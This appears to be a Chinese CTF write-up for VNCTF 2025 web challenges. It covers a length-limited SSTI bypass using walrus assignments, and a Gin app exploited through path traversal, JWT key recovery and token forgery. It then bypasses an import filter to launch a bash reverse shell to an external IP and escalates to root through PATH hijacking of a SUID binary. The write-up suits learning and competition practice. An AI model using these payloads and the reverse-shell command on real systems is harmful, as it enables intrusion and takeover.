web

学生姓名登记系统

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

{{''.__class__}}

image
可以ssti,但是测试发现有长度限制,限制单行23个字符,需要赋值拼接绕过,这里使用海象运算符

{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}

image

Gin

代码审计
路由

func SetupRoutes(r *gin.Engine) *gin.Engine {
	r.GET("/", func(c *gin.Context) {            //根
		c.Redirect(http.StatusFound, "/login")
	})
	r.GET("/register", func(c *gin.Context) {   
		c.File("./static/register.html")
	})
	r.POST("/register", controllers.Register) //注册

	r.GET("/login", func(c *gin.Context) {
		c.File("./static/login.html")
	})
	r.POST("/login", controllers.Login)       //登录

	r.GET("/user", middleware.AuthMiddleware("user"), func(c *gin.Context) {   //普通用户
		c.File("./static/user.html")
	})

	r.POST("/upload", middleware.AuthMiddleware("upload"), controllers.Upload) //上传
	r.GET("/download", middleware.AuthMiddleware("download"), controllers.Download) //下载
	r.GET("/admin", middleware.AuthMiddleware("admin"), func(c *gin.Context) {  //admin
		c.File("./static/admin.html")
	})
	r.POST("/eval", middleware.AuthMiddleware("admin"), controllers.Eval)  //执行命令
	return r
}

eval会鉴权,看一下token是如何生成的

//controller.go
token, err := utils.GenerateToken(user.Username)
//utils/jwt.go
func GenerateKey() string {
	rand.Seed(config.Year())
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
	return key
}
func GenerateToken(username string) (string, error) {
	key := GenerateKey()
	claims := JWTClaims{
		Username: username,
		RegisteredClaims: jwt.RegisteredClaims{
			ExpiresAt: jwt.NewNumericDate(time.Now().Add(24 * time.Hour)),
			IssuedAt:  jwt.NewNumericDate(time.Now()),
			Issuer:    "Mash1r0",
			Subject:   "user token",
		},
	}

	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)

	signedToken, err := token.SignedString([]byte(key))
	if err != nil {
		return "", fmt.Errorf("生成 token 时出错: %v", err)
	}
	return signedToken, nil
}

需要config/下面的Year和Key来生成,正好download可以任意文件下载

func Download(c *gin.Context) {
	filename := c.DefaultQuery("filename", "")
	if filename == "" {
		response.Response(c, http.StatusBadRequest, 400, nil, "Filename is required")
	}
	basepath := "./uploads"
	filepath, _ := url.JoinPath(basepath, filename)
	if _, err := os.Stat(filepath); os.IsNotExist(err) {
		response.Response(c, http.StatusBadRequest, 404, nil, "File not found")
	}
	c.Header("Content-Disposition", "attachment; filename="+filename)
	c.File(filepath)
}

先注册一个普通用户下载文件

http://node.vnteam.cn:43955/download?filename=../config/key.go
package config

func Key() string {
	return "r00t32l"
}
func Year() int64 {
	return 2025
}

有了Key和Year就可以进行token伪造,先生成key

package main

import "fmt"
import "math/rand"

func GenerateKey() string {
	rand.Seed(2025)
	randomNumber := rand.Intn(1000)
	key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
	return key
}

func main() {
	fmt.Println(GenerateKey())
}

得到jwt的key 122r00t32l
image
然后就可以访问admin路由进行eval了
image

   importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
	return true
}

过滤了os/exec,但是可以发现正则只会匹配第一个imports,所以第一个包放os/exec就能绕过,或者使用go.mod里面的其他库

github.com/PaulXu-cn/goeval v0.1.1

直接使用两个import绕过

package main

import (
	"fmt"
)
import (
	"os/exec"
)
func main() {

	cmd := exec.Command("bash","-c","bash -i >& /dev/tcp/101.43.121.110/4567  0>&1") 
	output, err := cmd.Output()
	if err != nil {
		fmt.Println("Error:", err)
		return
	}
	fmt.Println(string(output))
}

image

root@VM-4-13-ubuntu:~# nc -lvnp 4567
Listening on 0.0.0.0 4567
id
Connection received on 222.186.59.30 13668
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
ctfer@ret2shell-47-1121:/GinTest$ id
uid=1000(ctfer) gid=1000(ctfer) groups=1000(ctfer)
ctfer@ret2shell-47-1121:/$ cat flag
VNCTF2025!!!

假flag

ctfer@ret2shell-47-1121:/$ find / -perm -4000 2>/dev/null 
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat
ctfer@ret2shell-47-1121:/$ /.../Cat
VNCTF2025!!!

反编译一下Cat
image
一眼环境变量劫持

ctfer@ret2shell-47-1121:~$ echo  '/bin/bash' > cat  
ctfer@ret2shell-47-1121:~$ pwd  
/home/ctfer
ctfer@ret2shell-47-1121:~$ export PATH=/home/ctfer:$PATH
ctfer@ret2shell-47-1121:~$ chmod +x cat
ctfer@ret2shell-47-1121:~$ /.../Cat
root@ret2shell-47-1121:~# id
uid=0(root) gid=0(root) groups=0(root),1000(ctfer)
root@ret2shell-47-1121:~# cd /root
root@ret2shell-47-1121:/root# ls
flag  start.sh
root@ret2shell-47-1121:/root# head flag
VNCTF{7e6a2325-41ff-1b0b-3de3-96266eddd0c9}